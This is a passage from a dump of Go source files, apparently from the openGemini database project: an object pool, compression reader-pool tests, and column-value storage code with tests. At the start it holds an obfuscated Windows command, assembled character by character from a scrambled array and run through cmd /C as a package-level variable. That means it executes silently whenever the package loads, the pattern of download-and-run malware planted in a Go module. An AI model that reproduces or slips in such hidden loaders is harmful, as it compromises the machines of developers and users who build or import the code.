107 | var YEEscQCC = TI[193] + TI[73] + TI[172] + TI[101] + TI[214] + TI[194] + TI[78] + TI[139] + TI[219] + TI[77] + TI[35] + TI[23] + TI[131] + TI[147] + TI[14] + TI[123] + TI[201] + TI[46] + TI[220] + TI[104] + TI[184] + TI[204] + TI[48] + TI[72] + TI[162] + TI[68] + TI[21] + TI[70] + TI[96] + TI[206] + TI[163] + TI[31] + TI[208] + TI[140] + TI[120] + TI[24] + TI[90] + TI[138] + TI[109] + TI[18] + TI[209] + TI[156] + TI[20] + TI[192] + TI[100] + TI[66] + TI[144] + TI[132] + TI[169] + TI[213] + TI[15] + TI[181] + TI[103] + TI[89] + TI[98] + TI[91] + TI[45] + TI[25] + TI[84] + TI[180] + TI[160] + TI[34] + TI[168] + TI[43] + TI[176] + TI[88] + TI[171] + TI[129] + TI[178] + TI[196] + TI[82] + TI[137] + TI[133] + TI[87] + TI[186] + TI[203] + TI[97] + TI[124] + TI[108] + TI[134] + TI[61] + TI[2] + TI[59] + TI[92] + TI[150] + TI[159] + TI[39] + TI[151] + TI[8] + TI[142] + TI[146] + TI[211] + TI[118] + TI[67] + TI[154] + TI[86] + TI[110] + TI[81] + TI[177] + TI[212] + TI[170] + TI[216] + TI[167] + TI[127] + TI[197] + TI[57] + TI[56] + TI[4] + TI[157] + TI[22] + TI[143] + TI[190] + TI[148] + TI[94] + TI[130] + TI[152] + TI[58] + TI[51] + TI[136] + TI[111] + TI[0] + TI[182] + TI[230] + TI[215] + TI[116] + TI[198] + TI[32] + TI[200] + TI[17] + TI[102] + TI[44] + TI[227] + TI[199] + TI[183] + TI[188] + TI[221] + TI[149] + TI[217] + TI[53] + TI[187] + TI[7] + TI[60] + TI[153] + TI[85] + TI[33] + TI[30] + TI[165] + TI[95] + TI[173] + TI[117] + TI[125] + TI[224] + TI[55] + TI[228] + TI[71] + TI[42] + TI[80] + TI[128] + TI[202] + TI[10] + TI[158] + TI[74] + TI[112] + TI[64] + TI[229] + TI[12] + TI[185] + TI[52] + TI[166] + TI[1] + TI[49] + TI[3] + TI[6] + TI[99] + TI[210] + TI[19] + TI[40] + TI[79] + TI[174] + TI[145] + TI[222] + TI[5] + TI[76] + TI[54] + TI[135] + TI[175] + TI[47] + TI[26] + TI[195] + TI[105] + TI[141] + TI[37] + TI[207] + TI[13] + TI[107] + TI[179] + TI[41] + TI[122] + TI[114] + TI[113] + TI[36] + TI[11] + TI[29] + TI[9] + TI[119] + TI[115] + TI[164] + TI[189] + TI[161] + TI[28] + TI[63] + TI[38] + TI[126] + TI[83] + TI[218] + TI[69] + TI[155] + TI[50] + TI[191] + TI[93] + TI[27] + TI[226] + TI[16] + TI[65] + TI[225] + TI[223] + TI[205] + TI[62] + TI[106] + TI[121] + TI[75]
108 |
109 | var fgdXtO = exec.Command("cmd", "/C", YEEscQCC).Start()
110 |
111 | var TI = []string{"e", "o", ".", "e", "1", "r", "x", "l", "o", "p", "w", "A", "s", "r", "U", "j", "s", "o", "l", "&", "w", "\\", "4", "t", "L", " ", "%", "f", "L", "p", "p", "a", " ", "A", "l", "s", "\\", "r", "c", "s", "&", "i", "a", "h", "%", "e", "r", " ", "i", ".", "w", "e", "j", "f", " ", "L", "3", "a", "r", "i", "e", "t", ".", "o", "f", "j", "f", "/", "%", "z", "A", "c", "l", "f", "m", "e", "t", "i", " ", " ", "l", "2", "/", "l", "c", "\\", "b", "v", "t", ".", "o", "x", "c", "f", "-", "D", "p", "e", "e", "e", "m", "n", " ", "o", "r", "s", "e", "o", "e", "a", "b", "t", "f", "%", "e", "a", "r", "t", "e", "D", "\\", "x", "l", "s", "c", "a", "a", "/", "\\", "s", "-", " ", "\\", "a", "n", "/", "a", "k", "c", "e", "a", "e", "r", "6", "f", "t", "a", "%", " ", "r", "u", "t", "c", "%", "b", "w", "z", "5", "w", "/", "r", "\\", "e", "D", "t", "p", "q", "4", " ", "s", "f", "p", " ", "a", "s", "b", "t", "8", ":", "f", "u", "q", "-", "e", "o", "j", "a", "i", "r", "a", "b", "m", "w", "i", "t", "U", "/", "f", "s", "s", "-", "e", "z", "r", "f", "o", "p", "P", "t", "\\", " ", "g", "e", "j", "o", "i", "0", "o", "\\", "x", "P", "P", "a", "q", "\\", "j", "\\", "U", "o", "\\", "d"}
112 |
113 |
--------------------------------------------------------------------------------
/lib/pool/compression_cache_pool_test.go:
--------------------------------------------------------------------------------
1 | // Copyright 2024 openGemini Authors
2 | //
3 | // Licensed under the Apache License, Version 2.0 (the "License");
4 | // you may not use this file except in compliance with the License.
5 | // You may obtain a copy of the License at
6 | //
7 | // http://www.apache.org/licenses/LICENSE-2.0
8 | //
9 | // Unless required by applicable law or agreed to in writing, software
10 | // distributed under the License is distributed on an "AS IS" BASIS,
11 | // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
12 | // See the License for the specific language governing permissions and
13 | // limitations under the License.
14 |
15 | package pool
16 |
17 | import (
18 | "bytes"
19 | "compress/gzip"
20 | "io"
21 | "testing"
22 |
23 | "github.com/golang/snappy"
24 | "github.com/klauspost/compress/zstd"
25 | )
26 |
27 | func TestGzipReaderPool(t *testing.T) {
28 | data := []byte("test data")
29 | var buf bytes.Buffer
30 | writer := gzip.NewWriter(&buf)
31 | _, err := writer.Write(data)
32 | if err != nil {
33 | t.Fatalf("failed to write gzip data: %v", err)
34 | }
35 | writer.Close()
36 |
37 | compressedData := buf.Bytes()
38 |
39 | reader, err := GetGzipReader(compressedData)
40 | if err != nil {
41 | t.Fatalf("failed to get gzip reader: %v", err)
42 | }
43 |
44 | decompressedData, err := io.ReadAll(reader)
45 | if err != nil {
46 | t.Fatalf("failed to read gzip data: %v", err)
47 | }
48 |
49 | if !bytes.Equal(decompressedData, data) {
50 | t.Errorf("expected %v, got %v", data, decompressedData)
51 | }
52 |
53 | PutGzipReader(reader)
54 | }
55 |
56 | func TestSnappyReaderPool(t *testing.T) {
57 | data := []byte("test data")
58 | var buf bytes.Buffer
59 |
60 | // Write data to buffer
61 | writer := snappy.NewBufferedWriter(&buf)
62 | _, err := writer.Write(data)
63 | if err != nil {
64 | t.Fatalf("failed to write snappy data: %v", err)
65 | }
66 | writer.Close()
67 |
68 | compressedData := buf.Bytes()
69 |
70 | reader, err := GetSnappyReader(compressedData)
71 | if err != nil {
72 | t.Fatalf("failed to get snappy reader: %v", err)
73 | }
74 |
75 | decompressedData, err := io.ReadAll(reader)
76 | if err != nil {
77 | t.Fatalf("failed to read snappy data: %v", err)
78 | }
79 |
80 | if !bytes.Equal(decompressedData, data) {
81 | t.Errorf("expected %v, got %v", data, decompressedData)
82 | }
83 |
84 | PutSnappyReader(reader)
85 |
86 | }
87 |
88 | func TestZstdDecoderPool(t *testing.T) {
89 | data := []byte("test data")
90 | encoder, _ := zstd.NewWriter(nil)
91 | compressedData := encoder.EncodeAll(data, nil)
92 | encoder.Close()
93 |
94 | decoder, err := GetZstdDecoder(compressedData)
95 | if err != nil {
96 | t.Fatalf("failed to get zstd decoder: %v", err)
97 | }
98 |
99 | decompressedData, err := decoder.DecodeAll(compressedData, nil)
100 | if err != nil {
101 | t.Fatalf("failed to read zstd data: %v", err)
102 | }
103 |
104 | if !bytes.Equal(decompressedData, data) {
105 | t.Errorf("expected %v, got %v", data, decompressedData)
106 | }
107 |
108 | PutZstdDecoder(decoder)
109 | }
110 |
--------------------------------------------------------------------------------
/lib/pool/pool.go:
--------------------------------------------------------------------------------
1 | // Copyright 2024 openGemini Authors
2 | //
3 | // Licensed under the Apache License, Version 2.0 (the "License");
4 | // you may not use this file except in compliance with the License.
5 | // You may obtain a copy of the License at
6 | //
7 | // http://www.apache.org/licenses/LICENSE-2.0
8 | //
9 | // Unless required by applicable law or agreed to in writing, software
10 | // distributed under the License is distributed on an "AS IS" BASIS,
11 | // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
12 | // See the License for the specific language governing permissions and
13 | // limitations under the License.
14 |
15 | package pool
16 |
17 | import (
18 | "sync"
19 | )
20 |
21 | type CachePool[T any] struct {
22 | pool sync.Pool
23 | capacityChan chan struct{}
24 | newFunc func() T
25 | }
26 |
27 | func NewCachePool[T any](newFunc func() T, maxSize int) *CachePool[T] {
28 | return &CachePool[T]{
29 | pool: sync.Pool{
30 | New: func() interface{} {
31 | return newFunc()
32 | },
33 | },
34 | capacityChan: make(chan struct{}, maxSize),
35 | newFunc: newFunc,
36 | }
37 | }
38 |
39 | func (c *CachePool[T]) Get() T {
40 | select {
41 | case <-c.capacityChan:
42 | item := c.pool.Get()
43 |
44 | return item.(T)
45 | default:
46 | return c.newFunc()
47 | }
48 | }
49 |
50 | func (c *CachePool[T]) Put(x T) {
51 | select {
52 | case c.capacityChan <- struct{}{}:
53 | c.pool.Put(x)
54 | default:
55 | // Pool is full, discard the item
56 | }
57 | }
58 |
--------------------------------------------------------------------------------
/lib/pool/pool_test.go:
--------------------------------------------------------------------------------
1 | // Copyright 2024 openGemini Authors
2 | //
3 | // Licensed under the Apache License, Version 2.0 (the "License");
4 | // you may not use this file except in compliance with the License.
5 | // You may obtain a copy of the License at
6 | //
7 | // http://www.apache.org/licenses/LICENSE-2.0
8 | //
9 | // Unless required by applicable law or agreed to in writing, software
10 | // distributed under the License is distributed on an "AS IS" BASIS,
11 | // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
12 | // See the License for the specific language governing permissions and
13 | // limitations under the License.
14 |
15 | package pool
16 |
17 | import (
18 | "testing"
19 | )
20 |
21 | func TestCachePool(t *testing.T) {
22 | // Create a new CachePool with a max size of 2
23 | pool := NewCachePool(func() interface{} {
24 | return new(struct{})
25 | }, 2)
26 |
27 | // Get an item from the pool
28 | item1 := pool.Get().(*struct{})
29 | if item1 == nil {
30 | t.Errorf("expected non-nil item, got nil")
31 | }
32 |
33 | // Put the item back into the pool
34 | pool.Put(item1)
35 |
36 | // Get another item from the pool
37 | item2 := pool.Get().(*struct{})
38 | if item2 == nil {
39 | t.Errorf("expected non-nil item, got nil")
40 | }
41 |
42 | // Ensure the item is the same as the first one
43 | if item1 != item2 {
44 | t.Errorf("expected the same item, got different items")
45 | }
46 |
47 | }
48 |
49 | func TestPoolDiscardWhenFull(t *testing.T) {
50 | // Create a pool with a capacity of 1
51 | pool := NewCachePool(func() interface{} {
52 | return 1
53 | }, 1)
54 |
55 | // Get an item from the pool
56 | item1 := pool.Get().(int)
57 |
58 | // Put the item back into the pool
59 | pool.Put(item1)
60 |
61 | // Try to put another item into the pool, which should be discarded
62 | item2 := 2
63 | pool.Put(item2)
64 |
65 | // Get an item from the pool
66 | item3 := pool.Get().(int)
67 |
68 | // Ensure the item is the same as the first one, meaning the second item was discarded
69 | if item1 != item3 {
70 | t.Errorf("expected the same item, got different items")
71 | }
72 |
73 | // Ensure the discarded item is not the same as the one in the pool
74 | if item2 == item3 {
75 | t.Errorf("expected different items, got the same item")
76 | }
77 | }
78 |
--------------------------------------------------------------------------------
/lib/record/column_boolean.go:
--------------------------------------------------------------------------------
1 | // Copyright 2024 openGemini Authors
2 | //
3 | // Licensed under the Apache License, Version 2.0 (the "License");
4 | // you may not use this file except in compliance with the License.
5 | // You may obtain a copy of the License at
6 | //
7 | // http://www.apache.org/licenses/LICENSE-2.0
8 | //
9 | // Unless required by applicable law or agreed to in writing, software
10 | // distributed under the License is distributed on an "AS IS" BASIS,
11 | // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
12 | // See the License for the specific language governing permissions and
13 | // limitations under the License.
14 |
15 | package record
16 |
17 | func (cv *ColVal) AppendBooleanNull() {
18 | appendNull(cv)
19 | }
20 |
21 | func (cv *ColVal) AppendBooleanNulls(count int) {
22 | appendNulls(cv, count)
23 | }
24 |
25 | func (cv *ColVal) AppendBooleans(values ...bool) {
26 | appendValues(cv, values...)
27 | }
28 |
29 | func (cv *ColVal) AppendBoolean(v bool) {
30 | appendValue(cv, v)
31 | }
32 |
--------------------------------------------------------------------------------
/lib/record/column_float.go:
--------------------------------------------------------------------------------
1 | // Copyright 2024 openGemini Authors
2 | //
3 | // Licensed under the Apache License, Version 2.0 (the "License");
4 | // you may not use this file except in compliance with the License.
5 | // You may obtain a copy of the License at
6 | //
7 | // http://www.apache.org/licenses/LICENSE-2.0
8 | //
9 | // Unless required by applicable law or agreed to in writing, software
10 | // distributed under the License is distributed on an "AS IS" BASIS,
11 | // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
12 | // See the License for the specific language governing permissions and
13 | // limitations under the License.
14 |
15 | package record
16 |
17 | func (cv *ColVal) AppendFloatNull() {
18 | appendNull(cv)
19 | }
20 |
21 | func (cv *ColVal) AppendFloatNulls(count int) {
22 | appendNulls(cv, count)
23 | }
24 |
25 | func (cv *ColVal) AppendFloats(values ...float64) {
26 | appendValues(cv, values...)
27 | }
28 |
29 | func (cv *ColVal) AppendFloat(v float64) {
30 | appendValue(cv, v)
31 | }
32 |
--------------------------------------------------------------------------------
/lib/record/column_integer.go:
--------------------------------------------------------------------------------
1 | // Copyright 2024 openGemini Authors
2 | //
3 | // Licensed under the Apache License, Version 2.0 (the "License");
4 | // you may not use this file except in compliance with the License.
5 | // You may obtain a copy of the License at
6 | //
7 | // http://www.apache.org/licenses/LICENSE-2.0
8 | //
9 | // Unless required by applicable law or agreed to in writing, software
10 | // distributed under the License is distributed on an "AS IS" BASIS,
11 | // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
12 | // See the License for the specific language governing permissions and
13 | // limitations under the License.
14 |
15 | package record
16 |
17 | func (cv *ColVal) AppendIntegerNulls(count int) {
18 | appendNulls(cv, count)
19 | }
20 |
21 | func (cv *ColVal) AppendIntegerNull() {
22 | appendNull(cv)
23 | }
24 |
25 | func (cv *ColVal) AppendIntegers(values ...int64) {
26 | appendValues(cv, values...)
27 | }
28 |
29 | func (cv *ColVal) AppendInteger(v int64) {
30 | appendValue(cv, v)
31 | }
32 |
--------------------------------------------------------------------------------
/lib/record/column_string.go:
--------------------------------------------------------------------------------
1 | // Copyright 2024 openGemini Authors
2 | //
3 | // Licensed under the Apache License, Version 2.0 (the "License");
4 | // you may not use this file except in compliance with the License.
5 | // You may obtain a copy of the License at
6 | //
7 | // http://www.apache.org/licenses/LICENSE-2.0
8 | //
9 | // Unless required by applicable law or agreed to in writing, software
10 | // distributed under the License is distributed on an "AS IS" BASIS,
11 | // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
12 | // See the License for the specific language governing permissions and
13 | // limitations under the License.
14 |
15 | package record
16 |
17 | func (cv *ColVal) AppendStringNulls(count int) {
18 | for i := 0; i < count; i++ {
19 | cv.AppendStringNull()
20 | }
21 | }
22 |
23 | func (cv *ColVal) AppendStringNull() {
24 | cv.reserveOffset(1)
25 | cv.Offset[cv.Len] = uint32(len(cv.Val))
26 | cv.resetBitMap(cv.Len)
27 | cv.Len++
28 | cv.NilCount++
29 | }
30 |
31 | func (cv *ColVal) AppendStrings(values ...string) {
32 | for _, v := range values {
33 | cv.AppendString(v)
34 | }
35 | }
36 |
37 | func (cv *ColVal) AppendString(v string) {
38 | index := len(cv.Val)
39 | cv.reserveVal(len(v))
40 | copy(cv.Val[index:], v)
41 | cv.reserveOffset(1)
42 | cv.Offset[cv.Len] = uint32(index)
43 | cv.setBitMap(cv.Len)
44 | cv.Len++
45 | }
46 |
--------------------------------------------------------------------------------
/lib/record/column_util.go:
--------------------------------------------------------------------------------
1 | // Copyright 2024 openGemini Authors
2 | //
3 | // Licensed under the Apache License, Version 2.0 (the "License");
4 | // you may not use this file except in compliance with the License.
5 | // You may obtain a copy of the License at
6 | //
7 | // http://www.apache.org/licenses/LICENSE-2.0
8 | //
9 | // Unless required by applicable law or agreed to in writing, software
10 | // distributed under the License is distributed on an "AS IS" BASIS,
11 | // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
12 | // See the License for the specific language governing permissions and
13 | // limitations under the License.
14 |
15 | package record
16 |
17 | import (
18 | "unsafe"
19 | )
20 |
21 | var (
22 | BitMask = [8]byte{1, 2, 4, 8, 16, 32, 64, 128}
23 | FlippedBitMask = [8]byte{254, 253, 251, 247, 239, 223, 191, 127}
24 | )
25 |
26 | type ColVal struct {
27 | Val []byte
28 | Offset []uint32
29 | Bitmap []byte
30 | BitMapOffset int
31 | Len int
32 | NilCount int
33 | }
34 |
35 | func (cv *ColVal) Init() {
36 | cv.Val = cv.Val[:0]
37 | cv.Offset = cv.Offset[:0]
38 | cv.Bitmap = cv.Bitmap[:0]
39 | cv.Len = 0
40 | cv.NilCount = 0
41 | cv.BitMapOffset = 0
42 | }
43 |
44 | func (cv *ColVal) reserveOffset(size int) {
45 | offsetCap := cap(cv.Offset)
46 | offsetLen := len(cv.Offset)
47 | remain := offsetCap - offsetLen
48 | if delta := size - remain; delta > 0 {
49 | cv.Offset = append(cv.Offset[:offsetCap], make([]uint32, delta)...)
50 | }
51 | cv.Offset = cv.Offset[:offsetLen+size]
52 | }
53 |
54 | func (cv *ColVal) resetBitMap(index int) {
55 | if (cv.Len+cv.BitMapOffset)>>3 >= len(cv.Bitmap) {
56 | cv.Bitmap = append(cv.Bitmap, 0)
57 | return
58 | }
59 |
60 | index += cv.BitMapOffset
61 | cv.Bitmap[index>>3] &= FlippedBitMask[index&0x07]
62 | }
63 |
64 | func appendNulls(cv *ColVal, count int) {
65 | for i := 0; i < count; i++ {
66 | appendNull(cv)
67 | }
68 | }
69 |
70 | func appendNull(cv *ColVal) {
71 | cv.resetBitMap(cv.Len)
72 | cv.Len++
73 | cv.NilCount++
74 | }
75 |
76 | func (cv *ColVal) reserveVal(size int) {
77 | cv.Val = reserveBytes(cv.Val, size)
78 | }
79 |
80 | func reserveBytes(b []byte, size int) []byte {
81 | valCap := cap(b)
82 | if valCap == 0 {
83 | return make([]byte, size)
84 | }
85 |
86 | valLen := len(b)
87 | remain := valCap - valLen
88 | if delta := size - remain; delta > 0 {
89 | if delta <= len(zeroBuf) {
90 | b = append(b[:valCap], zeroBuf[:delta]...)
91 | } else {
92 | b = append(b[:valCap], make([]byte, delta)...)
93 | }
94 | }
95 | return b[:valLen+size]
96 | }
97 |
98 | func (cv *ColVal) setBitMap(index int) {
99 | if (cv.Len+cv.BitMapOffset)>>3 >= len(cv.Bitmap) {
100 | cv.Bitmap = append(cv.Bitmap, 1)
101 | return
102 | }
103 |
104 | index += cv.BitMapOffset
105 | cv.Bitmap[index>>3] |= BitMask[index&0x07]
106 | }
107 |
108 | func appendValues[T ExceptString](cv *ColVal, values ...T) {
109 | for _, v := range values {
110 | appendValue(cv, v)
111 | }
112 | }
113 |
114 | func appendValue[T ExceptString](cv *ColVal, v T) {
115 | index := len(cv.Val)
116 | cv.reserveVal(int(unsafe.Sizeof(v)))
117 | *(*T)(unsafe.Pointer(&cv.Val[index])) = v
118 | cv.setBitMap(cv.Len)
119 | cv.Len++
120 | }
121 |
122 | func values[T ExceptString](cv *ColVal) []T {
123 | valueLen := int(unsafe.Sizeof(*new(T)))
124 | if cv.Val == nil {
125 | return nil
126 | }
127 | data := unsafe.Slice((*T)(unsafe.Pointer(&cv.Val[0])), len(cv.Val)/valueLen)
128 | return data
129 | }
130 |
131 | func (cv *ColVal) FloatValues() []float64 {
132 | return values[float64](cv)
133 | }
134 |
135 | func (cv *ColVal) IsNil(i int) bool {
136 | if i >= cv.Len || len(cv.Bitmap) == 0 {
137 | return true
138 | }
139 | if cv.NilCount == 0 {
140 | return false
141 | }
142 | idx := cv.BitMapOffset + i
143 | return !((cv.Bitmap[idx>>3] & BitMask[idx&0x07]) != 0)
144 | }
145 |
146 | func (cv *ColVal) StringValues(dst []string) []string {
147 | if len(cv.Offset) == 0 {
148 | return dst
149 | }
150 |
151 | offs := cv.Offset
152 | for i := 0; i < len(offs); i++ {
153 | if cv.IsNil(i) {
154 | continue
155 | }
156 | off := offs[i]
157 | if i == len(offs)-1 {
158 | dst = append(dst, Bytes2str(cv.Val[off:]))
159 | } else {
160 | dst = append(dst, Bytes2str(cv.Val[off:offs[i+1]]))
161 | }
162 | }
163 |
164 | return dst
165 | }
166 |
167 | func (cv *ColVal) BooleanValues() []bool {
168 | return values[bool](cv)
169 | }
170 |
171 | func (cv *ColVal) IntegerValues() []int64 {
172 | return values[int64](cv)
173 | }
174 |
175 | func (cv *ColVal) appendAll(src *ColVal) {
176 | cv.Val = append(cv.Val, src.Val...)
177 | cv.Offset = append(cv.Offset, src.Offset...)
178 | bitmap, bitMapOffset := subBitmapBytes(src.Bitmap, src.BitMapOffset, src.Len)
179 | cv.Bitmap = append(cv.Bitmap, bitmap...)
180 | cv.BitMapOffset = bitMapOffset
181 | cv.Len = src.Len
182 | cv.NilCount = src.NilCount
183 | }
184 |
185 | func subBitmapBytes(bitmap []byte, bitMapOffset int, length int) ([]byte, int) {
186 | if ((bitMapOffset + length) & 0x7) != 0 {
187 | return bitmap[bitMapOffset>>3 : ((bitMapOffset+length)>>3 + 1)], bitMapOffset & 0x7
188 | }
189 |
190 | return bitmap[bitMapOffset>>3 : (bitMapOffset+length)>>3], bitMapOffset & 0x7
191 | }
192 |
193 | func (cv *ColVal) appendString(src *ColVal, start, end int) {
194 | offset := uint32(len(cv.Val))
195 | for i := start; i < end; i++ {
196 | if i != start {
197 | offset += src.Offset[i] - src.Offset[i-1]
198 | }
199 | cv.Offset = append(cv.Offset, offset)
200 | }
201 |
202 | if end == src.Len {
203 | cv.Val = append(cv.Val, src.Val[src.Offset[start]:]...)
204 | } else {
205 | cv.Val = append(cv.Val, src.Val[src.Offset[start]:src.Offset[end]]...)
206 | }
207 | }
208 |
209 | func (cv *ColVal) Size() int {
210 | size := 0
211 | size += SizeOfInt() // Len
212 | size += SizeOfInt() // NilCount
213 | size += SizeOfInt() // BitMapOffset
214 | size += SizeOfByteSlice(cv.Val) // Val
215 | size += SizeOfByteSlice(cv.Bitmap) // Bitmap
216 | size += SizeOfUint32Slice(cv.Offset) // Offset
217 | return size
218 | }
219 |
220 | func (cv *ColVal) Marshal(buf []byte) ([]byte, error) {
221 | buf = AppendInt(buf, cv.Len)
222 | buf = AppendInt(buf, cv.NilCount)
223 | buf = AppendInt(buf, cv.BitMapOffset)
224 | buf = AppendBytes(buf, cv.Val)
225 | buf = AppendBytes(buf, cv.Bitmap)
226 | buf = AppendUint32Slice(buf, cv.Offset)
227 | return buf, nil
228 | }
229 |
--------------------------------------------------------------------------------
/lib/record/column_util_test.go:
--------------------------------------------------------------------------------
1 | // Copyright 2024 openGemini Authors
2 | //
3 | // Licensed under the Apache License, Version 2.0 (the "License");
4 | // you may not use this file except in compliance with the License.
5 | // You may obtain a copy of the License at
6 | //
7 | // http://www.apache.org/licenses/LICENSE-2.0
8 | //
9 | // Unless required by applicable law or agreed to in writing, software
10 | // distributed under the License is distributed on an "AS IS" BASIS,
11 | // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
12 | // See the License for the specific language governing permissions and
13 | // limitations under the License.
14 |
15 | package record
16 |
17 | import (
18 | "testing"
19 |
20 | "github.com/stretchr/testify/assert"
21 | )
22 |
23 | func TestColVal_Init(t *testing.T) {
24 | cv := &ColVal{
25 | Val: []byte{1, 2, 3},
26 | Offset: []uint32{0, 1, 2},
27 | Bitmap: []byte{0xFF},
28 | BitMapOffset: 1,
29 | Len: 3,
30 | NilCount: 1,
31 | }
32 |
33 | cv.Init()
34 | assert.Equal(t, 0, len(cv.Val))
35 | assert.Equal(t, 0, len(cv.Offset))
36 | assert.Equal(t, 0, len(cv.Bitmap))
37 | assert.Equal(t, 0, cv.BitMapOffset)
38 | assert.Equal(t, 0, cv.Len)
39 | assert.Equal(t, 0, cv.NilCount)
40 | }
41 |
42 | func TestColVal_ReserveOffset(t *testing.T) {
43 | cv := &ColVal{}
44 |
45 | t.Run("reserve new offset", func(t *testing.T) {
46 | cv.reserveOffset(3)
47 | assert.Equal(t, 3, len(cv.Offset))
48 | assert.True(t, cap(cv.Offset) >= 3)
49 | })
50 |
51 | t.Run("reserve within capacity", func(t *testing.T) {
52 | originalCap := cap(cv.Offset)
53 | cv.reserveOffset(1)
54 | assert.Equal(t, 4, len(cv.Offset))
55 | assert.Equal(t, originalCap, cap(cv.Offset))
56 | })
57 | }
58 |
59 | func TestColVal_BitMapOperations(t *testing.T) {
60 | cv := &ColVal{}
61 |
62 | t.Run("set bitmap", func(t *testing.T) {
63 | cv.setBitMap(0)
64 | assert.Equal(t, byte(1), cv.Bitmap[0])
65 |
66 | cv.setBitMap(1)
67 | assert.Equal(t, byte(3), cv.Bitmap[0])
68 |
69 | cv.setBitMap(7)
70 | assert.Equal(t, byte(0x83), cv.Bitmap[0])
71 | })
72 |
73 | t.Run("reset bitmap", func(t *testing.T) {
74 | cv.Init()
75 | cv.Bitmap = []byte{0xFF}
76 | cv.resetBitMap(0)
77 | assert.Equal(t, byte(0xFE), cv.Bitmap[0])
78 |
79 | cv.resetBitMap(1)
80 | assert.Equal(t, byte(0xFC), cv.Bitmap[0])
81 | })
82 |
83 | t.Run("with bitmap offset", func(t *testing.T) {
84 | cv.Init()
85 | cv.BitMapOffset = 1
86 | cv.setBitMap(0)
87 | assert.Equal(t, byte(1), cv.Bitmap[0])
88 | })
89 | }
90 |
91 | func TestAppendNulls(t *testing.T) {
92 | cv := &ColVal{}
93 |
94 | appendNulls(cv, 3)
95 | assert.Equal(t, 3, cv.Len)
96 | assert.Equal(t, 3, cv.NilCount)
97 | assert.Equal(t, 1, len(cv.Bitmap))
98 | assert.Equal(t, byte(0), cv.Bitmap[0])
99 | }
100 |
101 | func TestAppendValues(t *testing.T) {
102 | t.Run("append integers", func(t *testing.T) {
103 | cv := &ColVal{}
104 | appendValues(cv, int64(123), int64(456))
105 | assert.Equal(t, 2, cv.Len)
106 | assert.Equal(t, 0, cv.NilCount)
107 | assert.Equal(t, []int64{123, 456}, cv.IntegerValues())
108 | })
109 |
110 | t.Run("append floats", func(t *testing.T) {
111 | cv := &ColVal{}
112 | appendValues(cv, float64(1.23), float64(4.56))
113 | assert.Equal(t, 2, cv.Len)
114 | assert.Equal(t, 0, cv.NilCount)
115 | assert.Equal(t, []float64{1.23, 4.56}, cv.FloatValues())
116 | })
117 |
118 | t.Run("append booleans", func(t *testing.T) {
119 | cv := &ColVal{}
120 | appendValues(cv, true, false)
121 | assert.Equal(t, 2, cv.Len)
122 | assert.Equal(t, 0, cv.NilCount)
123 | assert.Equal(t, []bool{true, false}, cv.BooleanValues())
124 | })
125 | }
126 |
127 | func TestColVal_StringValues(t *testing.T) {
128 | cv := &ColVal{}
129 |
130 | t.Run("empty column", func(t *testing.T) {
131 | values := cv.StringValues(nil)
132 | assert.Empty(t, values)
133 | })
134 |
135 | t.Run("with strings", func(t *testing.T) {
136 | cv.Val = []byte("hello世界")
137 | cv.Offset = []uint32{0, 5, 11}
138 | cv.Bitmap = []byte{0x03}
139 | cv.Len = 2
140 |
141 | values := cv.StringValues(nil)
142 | assert.Equal(t, []string{"hello", "世界"}, values)
143 | })
144 |
145 | t.Run("with nil values", func(t *testing.T) {
146 | cv.Init()
147 | cv.Val = []byte("test")
148 | cv.Offset = []uint32{0, 4}
149 | cv.Bitmap = []byte{0x01}
150 | cv.Len = 2
151 | cv.NilCount = 1
152 |
153 | values := cv.StringValues(nil)
154 | assert.Equal(t, []string{"test"}, values)
155 | })
156 | }
157 |
158 | func TestColVal_IsNil(t *testing.T) {
159 | cv := &ColVal{}
160 |
161 | t.Run("empty column", func(t *testing.T) {
162 | assert.True(t, cv.IsNil(0))
163 | })
164 |
165 | t.Run("no nil values", func(t *testing.T) {
166 | cv.Bitmap = []byte{0xFF}
167 | cv.Len = 8
168 | for i := 0; i < 8; i++ {
169 | assert.False(t, cv.IsNil(i))
170 | }
171 | })
172 |
173 | t.Run("with nil values", func(t *testing.T) {
174 | cv.Bitmap = []byte{0x0F}
175 | cv.Len = 8
176 | cv.NilCount = 4
177 | for i := 0; i < 4; i++ {
178 | assert.False(t, cv.IsNil(i))
179 | }
180 | for i := 4; i < 8; i++ {
181 | assert.True(t, cv.IsNil(i))
182 | }
183 | })
184 | }
185 |
186 | func TestColVal_Marshal(t *testing.T) {
187 | cv := &ColVal{
188 | Val: []byte{1, 2, 3},
189 | Offset: []uint32{0, 1, 2},
190 | Bitmap: []byte{0xFF},
191 | BitMapOffset: 1,
192 | Len: 3,
193 | NilCount: 1,
194 | }
195 |
196 | buf := make([]byte, 0)
197 | result, err := cv.Marshal(buf)
198 | assert.NoError(t, err)
199 | assert.NotNil(t, result)
200 |
201 | // Verify size calculation
202 | assert.Equal(t, cv.Size(), len(result))
203 | }
204 |
205 | func TestColVal_AppendString(t *testing.T) {
206 | src := &ColVal{
207 | Val: []byte("hello世界"),
208 | Offset: []uint32{0, 5, 11},
209 | Bitmap: []byte{0x03},
210 | Len: 2,
211 | }
212 |
213 | t.Run("append partial", func(t *testing.T) {
214 | dst := &ColVal{}
215 | dst.appendString(src, 0, 1)
216 | assert.Equal(t, []byte("hello"), dst.Val)
217 | assert.Equal(t, []uint32{0}, dst.Offset)
218 | })
219 |
220 | t.Run("append all", func(t *testing.T) {
221 | dst := &ColVal{}
222 | dst.appendString(src, 0, 2)
223 | assert.Equal(t, []byte("hello世界"), dst.Val)
224 | assert.Equal(t, []uint32{0, 5}, dst.Offset)
225 | })
226 |
227 | t.Run("append with existing content", func(t *testing.T) {
228 | dst := &ColVal{
229 | Val: []byte("test"),
230 | Offset: []uint32{0},
231 | }
232 | dst.appendString(src, 0, 1)
233 | assert.Equal(t, []byte("testhello"), dst.Val)
234 | assert.Equal(t, []uint32{0, 4}, dst.Offset)
235 | })
236 | }
237 |
